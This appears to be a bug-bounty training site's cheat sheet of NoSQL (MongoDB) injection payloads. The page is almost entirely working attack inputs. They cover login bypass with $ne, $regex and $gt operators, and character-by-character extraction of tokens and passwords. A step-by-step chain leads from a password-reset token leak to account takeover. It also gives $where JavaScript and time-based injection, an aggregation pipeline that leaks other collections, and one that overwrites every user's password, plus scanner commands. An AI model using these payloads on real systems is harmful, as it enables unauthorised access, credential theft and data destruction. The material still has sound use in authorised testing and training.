NoSQL Injection Cheatsheet

NoSQL Injection (MongoDB)

Quick reference

  • Always try the $ne, $gt, $regex operators in login parameters as your first test
  • $regex allows character-by-character extraction — ideal for tokens and passwords
  • Error-based extraction with $where: force a throw to include sensitive data in the error
  • $lookup in the aggregation pipeline lets you JOIN and read other collections
  • Prisma ORM: findFirst() is vulnerable to operator injection, findUnique() is not

Authentication bypass

URL format - $ne

username[$ne]=toto&password[$ne]=toto

URL format - $regex

username[$regex]=.*&password[$regex]=.*

URL format - $exists

username[$exists]=true&password[$exists]=true

JSON - $ne null

{"username": {"$ne": null}, "password": {"$ne": null}}

JSON - $ne string

{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}

JSON - $gt undefined

{"username": {"$gt": undefined}, "password": {"$gt": undefined}}

JSON - $gt empty

{"username": {"$gt": ""}, "password": {"$gt": ""}}

Operator injection

Not equals

username[$ne]=1&password[$ne]=1

Regex match

username[$regex]=^adm&password[$ne]=1

Regex lengthDetermine the field length

username[$regex]=.{25}&pass[$ne]=1

Equals

username[$eq]=admin&password[$ne]=1

Less than

username[$ne]=admin&pass[$lt]=s

Greater than

username[$ne]=admin&pass[$gt]=s

Not in array

username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7

$in with multiple users

{"username":{"$in":["Admin","admin","root","administrator"]},"password":{"$gt":""}}

$regex oracle - character-by-character extraction

Extract first characterIf the response differs, the field starts with A

{"token": {"$regex": "^A"}}

Extract second characterContinue: ^Ab, ^Ac, ... until a match

{"token": {"$regex": "^Ab"}}

Password reset token leak

1. POST /forgot-password (generar token)
2. {"token": {"$regex": "^A"}} -> probar A-Z, 0-9
3. Match = caracter correcto -> continuar
4. Leak token completo -> cambiar password -> ATO

Optimized binary searchReduce from ~127 to ~7 queries per character using binary ranges

{"password": {"$regex": "^[a-m]"}}

$where and JavaScript injection

Basic $where

' || 1==1//

$where with null byte

' || 1==1%00

$where equals

'=='

Error-based extractionThe error message includes the secret value

{"$where": "this.username==='admin' && (()=>{ throw this.secret })()"}

Time-based injection

admin'+function(x){var waitTill=new Date(new Date().getTime()+5000);while((x.password[0]==="a") && waitTill>new Date()){};}(this)+'

Sleep-based

';sleep(5000);

Injection in the aggregation pipeline

$lookup - JOIN to leak data

[{"$lookup":{"from":"users","pipeline":[{"$match":{"_id":{"$ne":""}}}],"as":"leaked"}},{"$unwind":"$leaked"}]

$out - overwrite collectionOverwrites passwords for the entire collection

[{"$skip":999},{"$unionWith":"users"},{"$set":{"password":"hacked"}},{"$out":"users"}]

Prisma findFirst bypassfindFirst is vulnerable, findUnique is not

{"username": {"not": "admin"}, "email": {"startsWith": "a"}}

Tools

NoSQLMap

Automated NoSQL injection tool for MongoDB

python3 nosqlmap.py -u https://target.com/login -p username,password

nosqli

CLI NoSQL injection scanner with multiple techniques

nosqli scan -t https://target.com/api/login

Burp Suite + NoSQLi extension

Burp extension for automatic NoSQL injection detection

Burp > Extensions > NoSQL Injection

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime